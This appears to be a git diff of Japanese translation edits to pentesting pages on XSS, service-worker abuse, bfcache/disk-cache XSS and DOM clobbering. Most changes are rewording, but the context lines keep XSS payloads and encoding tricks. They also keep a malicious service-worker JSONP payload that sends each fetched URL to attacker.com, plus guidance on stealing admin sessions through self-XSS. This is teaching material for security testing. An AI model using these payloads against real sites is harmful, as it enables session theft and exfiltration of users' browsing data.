 [**このレポート**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)で説明されているように、**iframed** 可能なページ（`X-Frame-Header` 保護なし）を見つけ、**ワイルドカード**（\*）を使用して **postMessage** 経由で **機密** メッセージを **送信している** 場合、**iframe** の **origin** を **変更** し、**機密** メッセージをあなたが制御するドメインに **漏洩** させることができます。\
-ページが iframed 可能であるが、**targetOrigin** が **URL に設定されていてワイルドカードではない**場合、この **トリックは機能しません**。
+ページが iframed 可能であるが、**targetOrigin** が **ワイルドカードではなく URL に設定されている** 場合、この **トリックは機能しません**。
 ```markup
 
 
 ```
-注意してください、もしあなたが**両方**の`URLencode + HTMLencode`を任意の順序で**ペイロード**をエンコードするために使用しようとすると、それは**機能しません**が、**ペイロードの中で混ぜる**ことができます。
+注意してください、もしあなたが**両方**の`URLencode + HTMLencode`を任意の順序で**ペイロード**をエンコードするために使用しようとすると、それは**機能しません**が、**ペイロード内で混ぜる**ことはできます。
 
 **`javascript:`を使ったHexとOctalエンコード**
 
-あなたは**Hex**と**Octalエンコード**を`iframe`の`src`属性の中で（少なくとも）使用して**JSを実行するHTMLタグを宣言**することができます：
+あなたは**Hex**と**Octalエンコード**を`iframe`の`src`属性内で（少なくとも）使用して**JSを実行するHTMLタグを宣言**することができます：
 ```javascript
 //Encoded: 
 // This WORKS
@@ -377,15 +377,15 @@ _**この場合、前のセクションのHTMLエンコーディングとUnicode
 ```javascript
  //No safari
@@ -448,7 +448,7 @@ onbeforetoggle="alert(2)" />
 
 ### CSSガジェット
 
-もし、**非常に小さな部分**のウェブでXSSを見つけた場合、何らかのインタラクションが必要です（例えば、マウスオーバー要素を持つフッターの小さなリンクなど）、その要素が占める**スペースを変更して**、リンクが発火する確率を最大化することを試みることができます。
+もし、**非常に小さな部分**のウェブでXSSを見つけた場合、何らかのインタラクションが必要な場合（フッターの小さなリンクにonmouseover要素があるかもしれません）、その要素が占める**スペースを変更して**リンクが発火する確率を最大化することを試みることができます。
 
 例えば、要素に次のようなスタイルを追加することができます：`position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
 
@@ -466,7 +466,7 @@ onbeforetoggle="alert(2)" />
 
 このトリックは[https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)から取られました。
 
-## JavaScriptコード内への注入
+## JavaScriptコード内へのインジェクション
 
 この場合、あなたの**入力**は`.js`ファイルのJSコード内に**反映される**か、``タグの間、またはJSコードを実行できるHTMLイベントの間、または`javascript:`プロトコルを受け入れる属性の間にあります。
 
@@ -480,7 +480,7 @@ onbeforetoggle="alert(2)" />
 
 ### JSコード内
 
-`<>`がサニタイズされている場合でも、**文字列をエスケープ**し、**任意のJSを実行**することができます。JSの構文を**修正する**ことが重要です。エラーがあると、JSコードは実行されません。
+`<>`がサニタイズされている場合でも、**入力が**ある場所で**文字列をエスケープ**し、**任意のJSを実行**することができます。JSの構文を**修正する**ことが重要です。エラーがあると、JSコードは実行されません。
 ```
 '-alert(document.domain)-'
 ';alert(document.domain)//
@@ -489,7 +489,7 @@ onbeforetoggle="alert(2)" />
 ### テンプレートリテラル \`\`
 
 **文字列**を構築するために、シングルクォートやダブルクォートの他に、JSは**バックティック** **` `` `**も受け入れます。これはテンプレートリテラルと呼ばれ、`${ ... }`構文を使用して**JS式を埋め込む**ことができます。\
-したがって、バックティックを使用しているJS文字列の中に入力が**反映**されていることがわかった場合、構文`${ ... }`を悪用して**任意のJSコード**を実行することができます：
+したがって、入力がバックティックを使用しているJS文字列内で**反映**されていることがわかった場合、`${ ... }`構文を悪用して**任意のJSコード**を実行できます：
 
 これは次のように**悪用**できます：
 ```javascript
@@ -574,7 +574,7 @@ alert("//\u2028alert(1)") //0xe2 0x80 0xa8
 String.fromCharCode(8233)
 alert("//\u2029alert(1)") //0xe2 0x80 0xa9
 ```
-**JavaScriptのホワイトスペース**
+**JavaScriptの空白**
 ```javascript
 log=[];
 function funct(){}
@@ -746,13 +746,13 @@ dom-xss.md
 {{#endref}}
 
 そこでは、**DOMの脆弱性とは何か、どのように引き起こされるのか、そしてどのように悪用されるのかについての詳細な説明があります**。\
-また、**前述の投稿の最後に** [**DOM Clobbering攻撃についての説明**](dom-xss.md#dom-clobbering)があることを忘れないでください。
+また、**前述の投稿の最後に** [**DOM Clobbering攻撃**](dom-xss.md#dom-clobbering)に関する説明があることを忘れないでください。
 
 ### Self-XSSのアップグレード
 
 ### Cookie XSS
 
-もし、ペイロードをクッキー内に送信することでXSSをトリガーできる場合、これは通常self-XSSです。しかし、**XSSに対して脆弱なサブドメイン**を見つけた場合、このXSSを悪用して全ドメインにクッキーを注入し、メインドメインまたは他のサブドメイン（クッキーXSSに対して脆弱なもの）でクッキーXSSをトリガーすることができます。このために、クッキー投げ攻撃を使用できます：
+もしペイロードをクッキー内に送信することでXSSをトリガーできる場合、これは通常self-XSSです。しかし、もし**XSSに対して脆弱なサブドメイン**を見つけた場合、このXSSを悪用して全ドメインにクッキーを注入し、メインドメインまたは他のサブドメイン（クッキーXSSに対して脆弱なもの）でクッキーXSSをトリガーすることができます。これにはクッキー投げ攻撃を使用できます：
 
 {{#ref}}
 ../hacking-with-cookies/cookie-tossing.md
@@ -762,11 +762,11 @@ dom-xss.md
 
 ### 管理者にセッションを送信する
 
-ユーザーが自分のプロフィールを管理者と共有できる場合、もしself XSSがユーザーのプロフィール内にあり、管理者がそれにアクセスすると、脆弱性がトリガーされます。
+ユーザーが管理者とプロフィールを共有できる場合、もしself XSSがユーザーのプロフィール内にあり、管理者がそれにアクセスすると、脆弱性がトリガーされます。
 
 ### セッションミラーリング
 
-self XSSを見つけ、ウェブページに**管理者用のセッションミラーリング**がある場合、例えばクライアントが助けを求めることを許可し、管理者があなたを助けるために、彼は自分のセッションからあなたのセッションで見ているものを見ます。
+self XSSを見つけ、ウェブページに**管理者用のセッションミラーリング**がある場合、例えばクライアントが助けを求めることを許可し、管理者があなたを助けるためにあなたのセッションで見ているものを彼のセッションから見ることになります。
 
 あなたは**管理者にself XSSをトリガーさせて、彼のクッキー/セッションを盗む**ことができます。
 
@@ -787,7 +787,7 @@ self XSSを見つけ、ウェブページに**管理者用のセッションミ
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
 ```
-ペア「Key」「Value」は次のようにエコーされます:
+ペア "Key","Value" は次のようにエコーされます:
 ```
 {" onfocus=javascript:alert('xss') autofocus a"=>"a"}
 ```
@@ -825,18 +825,18 @@ document['default'+'View'][`\u0061lert`](3)
 ```
 ### XSS with header injection in a 302 response
 
-もし**302リダイレクトレスポンスにヘッダーを注入できる**ことがわかった場合、**ブラウザに任意のJavaScriptを実行させる**ことを試みることができます。これは**簡単ではありません**。なぜなら、現代のブラウザはHTTPレスポンスステータスコードが302の場合、HTTPレスポンスボディを解釈しないため、単なるクロスサイトスクリプティングペイロードは無意味だからです。
+もし**302リダイレクトレスポンスにヘッダーを注入できる**ことがわかったら、**ブラウザに任意のJavaScriptを実行させる**ことを試みることができます。これは**簡単ではありません**。なぜなら、現代のブラウザはHTTPレスポンスステータスコードが302の場合、HTTPレスポンスボディを解釈しないため、単なるクロスサイトスクリプティングペイロードは無意味だからです。
 
-[**このレポート**](https://www.gremwell.com/firefox-xss-302)と[**こちら**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)では、Locationヘッダー内でいくつかのプロトコルをテストし、それらのいずれかがブラウザにボディ内のXSSペイロードを検査して実行させることを許可するかどうかを確認する方法を読むことができます。\
+[**このレポート**](https://www.gremwell.com/firefox-xss-302)や[**こちら**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/)では、Locationヘッダー内でいくつかのプロトコルをテストし、それらのいずれかがブラウザにボディ内のXSSペイロードを検査して実行させることを許可するかどうかを確認する方法を読むことができます。\
 過去に知られているプロトコル: `mailto://`, `//x:1/`, `ws://`, `wss://`, _空のLocationヘッダー_, `resource://`。
 
 ### Only Letters, Numbers and Dots
 
-もし、JavaScriptが**実行する**ための**コールバック**をこれらの文字に制限して指定できる場合。[**この投稿のこのセクションを読んで**](./#javascript-function)この動作を悪用する方法を見つけてください。
+もし**コールバック**を示すことができるなら、javascriptが**実行する**のはこれらの文字に制限されます。[**この投稿のこのセクションを読む**](./#javascript-function)ことで、この動作を悪用する方法を見つけることができます。
 
 ### Valid `

 ```
-### Regex - 隠れたコンテンツへのアクセス
+### Regex - 隠されたコンテンツへのアクセス
 
-[**このレポート**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay)から、いくつかの値がJSから消えても、異なるオブジェクトのJS属性内でそれらを見つけることが可能であることがわかります。例えば、REGEXの入力は、REGEXの入力値が削除された後でも見つけることができます：
+From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) では、いくつかの値がJSから消えても、異なるオブジェクトのJS属性内でそれらを見つけることが可能であることがわかります。たとえば、REGEXの入力は、正規表現の入力値が削除された後でも見つけることができます：
 ```javascript
 // Do regex with flag
 flag = "CTF{FLAG}"
diff --git a/src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md b/src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md
index dd8a530ae..5cc1d4c93 100644
--- a/src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md
+++ b/src/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md
@@ -4,22 +4,22 @@
 
 ## 基本情報
 
-**サービスワーカー**は、ブラウザによってバックグラウンドで実行されるスクリプトで、ウェブページとは別に動作し、ウェブページやユーザーの操作を必要としない機能を有効にし、**オフラインおよびバックグラウンド処理**の能力を向上させます。サービスワーカーに関する詳細情報は[こちら](https://developers.google.com/web/fundamentals/primers/service-workers)で確認できます。脆弱なウェブドメイン内でサービスワーカーを悪用することで、攻撃者はそのドメイン内のすべてのページに対する被害者の操作を制御することができます。
+**サービスワーカー**は、ブラウザによってバックグラウンドで実行されるスクリプトで、ウェブページとは別に動作し、ウェブページやユーザーの操作を必要としない機能を可能にし、**オフラインおよびバックグラウンド処理**の能力を向上させます。サービスワーカーに関する詳細情報は[こちら](https://developers.google.com/web/fundamentals/primers/service-workers)で確認できます。脆弱なウェブドメイン内でサービスワーカーを悪用することで、攻撃者はそのドメイン内のすべてのページに対する被害者の操作を制御することができます。
 
 ### 既存のサービスワーカーの確認
 
-既存のサービスワーカーは、**Developer Tools**の**Application**タブの**Service Workers**セクションで確認できます。別の方法として、[chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals)にアクセスすることで、より詳細なビューを得ることができます。
+既存のサービスワーカーは、**Developer Tools**の**Application**タブの**Service Workers**セクションで確認できます。別の方法として、[chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals)を訪れることで、より詳細なビューを得ることができます。
 
 ### プッシュ通知
 
-**プッシュ通知の権限**は、**サービスワーカー**がユーザーの直接的な操作なしにサーバーと通信する能力に直接影響します。権限が拒否されると、サービスワーカーが継続的な脅威をもたらす可能性が制限されます。逆に、権限を付与すると、潜在的なエクスプロイトの受信と実行を可能にすることでセキュリティリスクが増加します。
+**プッシュ通知の権限**は、**サービスワーカー**が直接ユーザーの操作なしにサーバーと通信する能力に直接影響します。権限が拒否されると、サービスワーカーが継続的な脅威をもたらす可能性が制限されます。逆に、権限を付与すると、潜在的なエクスプロイトの受信と実行を可能にすることでセキュリティリスクが増加します。
 
 ## サービスワーカーを作成する攻撃
 
 この脆弱性を悪用するためには、次のものを見つける必要があります：
 
 - サーバーに**任意のJS**ファイルを**アップロード**する方法と、アップロードしたJSファイルの**サービスワーカーを読み込むためのXSS**
-- **出力を操作できる**（任意のJSコードを使用）**脆弱なJSONPリクエスト**と、**ペイロードを持つJSONPを読み込むためのXSS**が必要です。このペイロードは**悪意のあるサービスワーカーを読み込む**ものです。
+- **出力を操作できる**脆弱なJSONPリクエスト（**任意のJSコード**を使用）と、**ペイロードを持つJSONPを読み込むためのXSS**が必要です。このペイロードは**悪意のあるサービスワーカーを読み込む**ものです。
 
 次の例では、`fetch`イベントをリッスンし、**取得した各URLを攻撃者のサーバーに送信する**新しいサービスワーカーを**登録するためのコード**を示します（これは**サーバー**に**アップロード**するか、**脆弱なJSONP**レスポンスを介して読み込む必要があるコードです）：
 ```javascript
@@ -51,13 +51,13 @@ xhttp2.send();
 var sw =
 "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//"
 ```
-専用の**C2**があり、**Service Workersの悪用**に特化した[**Shadow Workers**](https://shadow-workers.github.io)は、これらの脆弱性を悪用するのに非常に役立ちます。
+C2に特化した**Service Workersの悪用**のための**Shadow Workers**があり、これらの脆弱性を悪用するのに非常に役立ちます。
 
-**24時間キャッシュディレクティブ**は、悪意のあるまたは侵害された**service worker (SW)**の寿命を、XSS脆弱性の修正後最大24時間に制限します。オンラインクライアントの状態を前提としています。脆弱性を最小限に抑えるために、サイト運営者はSWスクリプトのTTL（Time-To-Live）を短くすることができます。開発者は、迅速な無効化のために[**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776)を作成することも推奨されています。
+**24時間キャッシュディレクティブ**は、悪意のあるまたは侵害された**サービスワーカー（SW）**の寿命を、XSS脆弱性の修正後最大24時間に制限します。オンラインクライアントの状態を前提としています。脆弱性を最小限に抑えるために、サイト運営者はSWスクリプトのTTL（Time-To-Live）を短くすることができます。開発者は、迅速な無効化のために[**サービスワーカーキルスイッチ**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776)を作成することも推奨されています。
 
-## DOM Clobberingを介したSW内の`importScripts`の悪用
+## DOM Clobberingを介したSWでの`importScripts`の悪用
 
-Service Workerから呼び出される**`importScripts`**関数は、**異なるドメインからスクリプトをインポート**することができます。この関数が**攻撃者が**変更できる**パラメータを使用して呼び出されると、攻撃者は**自分のドメインからJSスクリプトをインポート**し、XSSを取得することができます。
+サービスワーカーから呼び出される**`importScripts`**関数は、**異なるドメインからスクリプトをインポート**することができます。この関数が**攻撃者が**変更できる**パラメータを使用して呼び出されると、攻撃者は**自分のドメインからJSスクリプトをインポート**し、XSSを取得することができます。
 
 **これはCSP保護を回避します。**
 
diff --git a/src/pentesting-web/xss-cross-site-scripting/chrome-cache-to-xss.md b/src/pentesting-web/xss-cross-site-scripting/chrome-cache-to-xss.md
index 26e9b7e15..bd0db2da7 100644
--- a/src/pentesting-web/xss-cross-site-scripting/chrome-cache-to-xss.md
+++ b/src/pentesting-web/xss-cross-site-scripting/chrome-cache-to-xss.md
@@ -4,7 +4,7 @@
 
 詳細は[**このレポートで**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote)確認できます。
 
-ここで議論されている技術は、**バック/フォワードキャッシュ (bfcache)** と **ディスクキャッシュ** の2つの主要なキャッシュタイプの動作と相互作用を理解することに関係しています。bfcacheは、JavaScriptヒープを含むページの完全なスナップショットを保存し、より包括的なスナップショットを保存できるため、バック/フォワードナビゲーションの際にディスクキャッシュよりも優先されます。一方、ディスクキャッシュは、JavaScriptヒープを含まずにウェブから取得したリソースを保存し、通信コストを削減するためにバック/フォワードナビゲーションに利用されます。ディスクキャッシュの興味深い点は、`fetch`を使用して取得したリソースが含まれていることであり、つまりアクセスされたURLリソースはキャッシュからブラウザによってレンダリングされます。
+ここで議論されている技術は、**バック/フォワードキャッシュ (bfcache)** と **ディスクキャッシュ** の2つの主要なキャッシュタイプの動作と相互作用を理解することに関係しています。bfcacheは、JavaScriptヒープを含むページの完全なスナップショットを保存し、より包括的なスナップショットを保存できるため、バック/フォワードナビゲーションにおいてディスクキャッシュよりも優先されます。一方、ディスクキャッシュは、JavaScriptヒープを含まずにウェブから取得したリソースを保存し、通信コストを削減するためにバック/フォワードナビゲーションに利用されます。ディスクキャッシュの興味深い点は、`fetch`を使用して取得したリソースが含まれていることであり、つまりアクセスされたURLリソースはキャッシュからブラウザによってレンダリングされます。
 
 ### 主なポイント:
 
@@ -24,6 +24,6 @@
 
 ディスクキャッシュが利用されたことの確認は、Google ChromeのDevToolsを使用して行うことができます。
 
-bfcacheとディスクキャッシュに関する詳細は、[web.devのbfcache](https://web.dev/i18n/en/bfcache/)および[Chromiumのディスクキャッシュに関する設計文書](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/)で確認できます。
+bfcacheとディスクキャッシュに関するさらなる詳細は、[web.devのbfcache](https://web.dev/i18n/en/bfcache/)および[Chromiumのディスクキャッシュに関する設計文書](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/)で確認できます。
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xss-cross-site-scripting/dom-clobbering.md b/src/pentesting-web/xss-cross-site-scripting/dom-clobbering.md
index 4ee225c78..c1a72f754 100644
--- a/src/pentesting-web/xss-cross-site-scripting/dom-clobbering.md
+++ b/src/pentesting-web/xss-cross-site-scripting/dom-clobbering.md
@@ -11,7 +11,7 @@ HTMLタグの**`id`**および**`name`**属性を使用して、**JSコンテキ
 console.log(typeof document.x) //[object HTMLFormElement]
 
 ```
-**特定の**要素のみが**name属性**を使用してグローバルをクラッシャーできます。それらは:`embed`、`form`、`iframe`、`image`、`img`、および`object`です。
+**特定の**要素のみが**name属性**を使用してグローバルをクラッシャーできます。それらは、`embed`、`form`、`iframe`、`image`、`img`、および`object`です。
 
 興味深いことに、**form要素**を使用して変数を**クラッシャー**すると、要素自体の**`toString`**値が得られます: `[object HTMLFormElement]`ですが、**anchor**の場合、**`toString`**はアンカーの**`href`**になります。したがって、**`a`**タグを使用してクラッシャーすると、**文字列として扱われる**ときに**値**を**制御**できます:
 ```html
@@ -41,7 +41,7 @@ console.log(x.y) //controlled
 alert(x.y.z.value) //controlled
 
 ```
-属性をさらに上書きすることは**より複雑ですが、依然として可能です**。iframeを使用して:
+属性をさらに上書きすることは**より複雑ですが、それでも可能です**、iframeを使用して:
 ```html